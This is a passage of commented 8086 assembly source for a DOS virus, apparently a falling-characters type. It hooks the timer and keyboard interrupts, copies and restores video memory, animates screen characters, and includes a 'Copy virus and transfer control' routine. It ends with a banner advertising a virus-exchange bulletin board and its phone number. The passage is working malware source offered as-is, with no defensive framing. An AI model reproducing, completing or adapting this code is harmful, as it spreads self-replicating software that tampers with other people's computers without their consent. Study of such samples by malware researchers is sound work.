segment DSPCNT DW 0FFDCH ; Display count I09BSY DB 0 ; Int 9 busy switch KEYTOK DB 0 ; Keyboard token KEYNUM DB 0 ; Key number VIDADR DW 0B800H ; Video RAM segment RSTCNT DW 0 ; Restore count FLENLO DW 39H ; File length, low word FLENHI DW 0 ; File length, high word DB0884 DB 'C:\3066\HELLO.COM', 0 ; Pathname DB 'EXE', 0, 'E', 90H DUP (0) BP0820: PUSH CX PUSH DS PUSH ES PUSH SI PUSH DI PUSH CS ; \ Set ES to CS POP ES ; / CLD TEST AL,20H ; Test switch six JZ BP0850 ; Branch if off TEST AL,2 ; Test switch two JNZ BP0860 ; Branch if on XOR AX,AX ; \ Address zero MOV DS,AX ; / ASSUME DS:BOOT MOV AL,BB0449 ; Get current VDU mode MOV CX,0B800H ; VDU RAM address CMP AL,7 ; Mode 7? JNE BP0830 ; Branch if not MOV CX,0B000H ; External mono VDU RAM JMP SHORT BP0840 BP0830: CMP AL,2 ; Mode 2? JE BP0840 ; Branch if yes CMP AL,3 ; Mode 3? JNE BP0860 ; Branch if not BP0840: MOV VIDADR+100H,CX ; Save video RAM segment OR SWTCHB+100H,2 ; Set on switch two MOV RSTCNT+100H,0 ; Set restore count to zero MOV DS,CX ; Address video RAM MOV CX,80*25 ; Length to copy XOR SI,SI ; From zero MOV DI,OFFSET SIGNAT+100H ; To end of virus REPZ MOVSW ; Copy video XOR AX,AX ; \ Address zero MOV DS,AX ; / MOV AX,OFFSET BP1010+100H ; Interrupt 9 routine XCHG AX,BW0024 ; Install as Int 9 offset MOV I09_OF+100H,AX ; Save old Int 9 offset MOV AX,CS ; Get current segment XCHG AX,BW0026 ; Install as Int 9 segment MOV I09_SG+100H,AX ; Save old Int 9 segment BP0850: MOV CX,0050H ; Length of one line MOV AX,80*24*2 ; Last line address MOV DI,OFFSET DW0005+100H ; Address line store REPZ STOSW ; Store line numbers AND SWTCHB+100H,7 ; Set off switches above three BP0860: POP DI POP SI POP ES POP DS POP CX JMP BP0990 ; Pass on to original Int 1CH BP0870: JMP BP0820 ; Interrupt 1CH routine BP0880: PUSH AX MOV I09BSY+100H,0 ; Clear Int 9 busy switch MOV AL,SWTCHB+100H ; Get switches TEST AL,60H ; Test switches six and seven JNZ BP0870 ; Branch if either is on TEST AL,80H ; Test switch eight JZ BP0910 ; Branch if off CMP RSTCNT+100H,0 ; Is restore count off? JE BP0890 ; Branch if yes INC RSTCNT+100H ; Increment restore count CMP RSTCNT+100H,0444H ; Have we reached target (1 minute)? JL BP0890 ; Branch if not CALL BP1030 ; Video display routine JMP BP0990 ; Pass on to original Int 1CH BP0890: TEST AL,18H ; Test switches four and five JZ BP0900 ; Branch if both off DEC DSPCNT+100H ; Decrement display count JNZ BP0900 ; Branch if not finished AND SWTCHB+100H,0E7H ; Set off switch three OR SWTCHB+100H,40H ; Set on switch seven TEST AL,8 ; Test switch four JZ BP0900 ; Branch if off OR SWTCHB+100H,20H ; Set on switch six BP0900: JMP BP0990 ; Pass on to original Int 1CH BP0910: XOR SWTCHB+100H,1 ; Toggle switch one TEST AL,1 ; Test previous state JZ BP0900 ; Branch if off PUSH BX PUSH SI PUSH DS MOV DS,VIDADR+100H ; Get video RAM segment XOR SI,SI ; Start of line MOV DB086E+100H,0 ; Set past second line off BP0920: MOV BX,DW0005[SI+100H] ; Get current line number OR BX,BX ; First line? JZ BP0930 ; Branch if yes CMP BYTE PTR [BX+SI],' ' ; Is character a blank? JNE BP0930 ; Branch if not CMP BYTE PTR [BX+SI+0FF60H],' ' ; Is char on line above a space? JE BP0930 ; Branch if yes MOV AX,0720H ; White on black space XCHG AX,[BX+SI+0FF60H] ; Swap with line above MOV [BX+SI],AX ; Store new character this line ADD BX,80*2 ; Next line BP0930: CMP BX,80*25*2 ; Past last line? JE BP0940 ; Branch if yes CMP BYTE PTR [BX+SI],' ' ; Is character a blank JNE BP0940 ; Branch if not JNE BP0970 ; ? BP0940: MOV BX,80*24*2 ; Address last line BP0950: CMP BYTE PTR [BX+SI],' ' ; Is character a blank? JNE BP0960 ; Branch if not CMP BYTE PTR [BX+SI+0FF60H],' ' ; Is char on line above a space? JNE BP0970 ; Branch if not BP0960: SUB BX,80*2 ; Previous line OR BX,BX ; First line? JNZ BP0950 ; Branch if not BP0970: MOV DW0005[SI+100H],BX ; Save current line number OR WORD PTR DB086E+100H,BX ; Set past second line indicator ADD SI,2 ; Next character position CMP SI,80*2 ; End of line? JNE BP0920 ; Branch if not CMP DB086E+100H,0 ; Past second line? JNE BP0980 ; Branch if yes OR SWTCHB+100H,80H ; Set on switch eight MOV RSTCNT+100H,1 ; Start restore count BP0980: POP DS POP SI POP BX BP0990: POP AX DB 0EAH ; Far jump to Int 1CH I1C_OF DW 0FF53H ; Original Int 1CH offset I1C_SG DW 0F000H ; Original Int 1CH segment ; Signal end of interrupt BP1000: MOV AL,20H ; \ End of interrupt OUT 20H,AL ; / POP AX IRET ; Interrupt 9 routine BP1010: PUSH AX IN AL,60H ; Get keyboard token MOV KEYTOK+100H,AL ; Save keyboard token IN AL,61H ; Get port B MOV AH,AL ; Save port B OR AL,80H ; \ Acknowledge keyboard OUT 61H,AL ; / MOV AL,AH ; \ Restore Port B OUT 61H,AL ; / CMP I09BSY+100H,0 ; Test Int 9 busy switch MOV I09BSY+100H,1 ; Set Int 9 busy switch on JNE BP1000 ; Branch if on already MOV AL,KEYTOK+100H ; Get keyboard token CMP AL,0F0H ; \ ? discard this character JE BP1000 ; / AND AL,7FH ; Set off top bit CMP AL,KEYNUM+100H ; Same as last character? MOV KEYNUM+100H,AL ; Save key number JE BP1000 ; Branch if same as last CMP RSTCNT+100H,0 ; Is restore count off? JE BP1020 ; Branch if yes MOV RSTCNT+100H,1 ; Restart restore count BP1020: CALL BP1030 ; Video display routine JMP BP1000 ; End of interrupt ; Video display routine BP1030: MOV DSPCNT+100H,0028H ; Set up short display count (2+ secs) TEST SWTCHB+100H,80H ; Test switch eight JZ BP1000 ; Branch if off MOV DB0870+100H,1 ; Set character going down PUSH BX PUSH SI PUSH DS MOV DS,VIDADR+100H ; Get video RAM segment TEST SWTCHB+100H,10H ; Test switch five JNZ BP1070 ; Branch if on OR SWTCHB+100H,10H ; Set on switch five XOR SI,SI ; Start of line BP1040: MOV BX,80*24*2 ; Address last line BP1050: CMP BYTE PTR [BX+SI],' ' ; Is character a blank? JE BP1060 ; Branch if yes SUB BX,80*2 ; Previous line JNB BP1050 ; Branch if not MOV BX,80*24*2 ; Address last line BP1060: ADD BX,80*2 ; Next line MOV DW0005[SI+100H],BX ; Save current line number MOV FLENLO[SI+100H],BX ; Save last line number INC SI ; \ Next character position INC SI ; / CMP SI,80*2 ; End of line? JNE BP1040 ; Branch if not BP1070: XOR SI,SI ; Start of line BP1080: CMP DW0005[SI+100H],80*25*2 ; End of display area? JE BP1140 ; Branch if yes MOV BX,FLENLO[SI+100H] ; Get last line number MOV AX,[BX+SI] ; Get current char and attributes CMP AX,CS:SIGNAT[BX+SI+100H] ; Is it the same as the stored copy? JNE BP1100 ; Branch if not PUSH BX BP1090: OR BX,BX ; First line? JZ BP1120 ; Restore video if yes SUB BX,80*2 ; Previous line CMP AX,CS:SIGNAT[BX+SI+100H] ; Is this line same as current? JNE BP1090 ; Branch if not CMP AX,[BX+SI] ; Is this line the same JE BP1090 ; Branch if yes POP BX BP1100: OR BX,BX ; First line? JNZ BP1110 ; Character up one line if not MOV WORD PTR [SI],0720H ; White on black space JMP SHORT BP1130 ; Move character up one line BP1110: MOV AX,[BX+SI] ; Get current char and attributes MOV [BX+SI+0FF60H],AX ; Move to previous line MOV WORD PTR [BX+SI],0720H ; White on black space SUB FLENLO[SI+100H],80*2 ; Move last line number up one MOV DB0870+100H,0 ; Set characters going up JMP SHORT BP1140 ; Restore video BP1120: POP BX BP1130: MOV BX,DW0005[SI+100H] ; Get current line number ADD BX,80*2 ; Next line MOV DW0005[SI+100H],BX ; Save new current line number MOV FLENLO[SI+100H],BX ; Save last line number BP1140: INC SI ; \ Next character position INC SI ; / CMP SI,80*2 ; End of line? JNE BP1080 ; Branch if not CMP DB0870+100H,0 ; Are characters going down JE BP1150 ; Branch if not PUSH ES PUSH DI PUSH CX PUSH DS ; \ Set ES to DS POP ES ; / PUSH CS ; \ Set DS to CS POP DS ; / MOV SI,OFFSET SIGNAT+100H ; From end of virus XOR DI,DI ; To zero MOV CX,80*25 ; Length to copy REPZ MOVSW ; Restore video MOV DSPCNT+100H,0FFDCH ; Restart display count (60 mins) AND SWTCHB+100H,4 ; Set off all switches but three OR SWTCHB+100H,88H ; Set on switches four and eight MOV RSTCNT+100H,0 ; Set restore count off XOR AX,AX ; \ Address zero MOV DS,AX ; / ASSUME DS:BOOT MOV AX,I09_OF+100H ; Get old Int 9 offset MOV BW0024,AX ; Re-install Int 9 offset MOV AX,I09_SG+100H ; Get old Int 9 segment MOV BW0026,AX ; Re-install Int 9 segment POP CX POP DI POP ES BP1150: POP DS POP SI POP BX RET ; Copy virus and transfer control BP1160: CLD POP AX ; Recover return address SUB AX,SI ; Subtract source offset ADD AX,DI ; Add target offset PUSH ES ; Push new segment PUSH AX ; Push new return address REPZ MOVSB ; Copy virus RETF ; Return to copy DB 090H SIGNAT DW 0E850H DB 0E2H, 003H, 08BH ENDADR EQU $ CODE ENDS END  ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ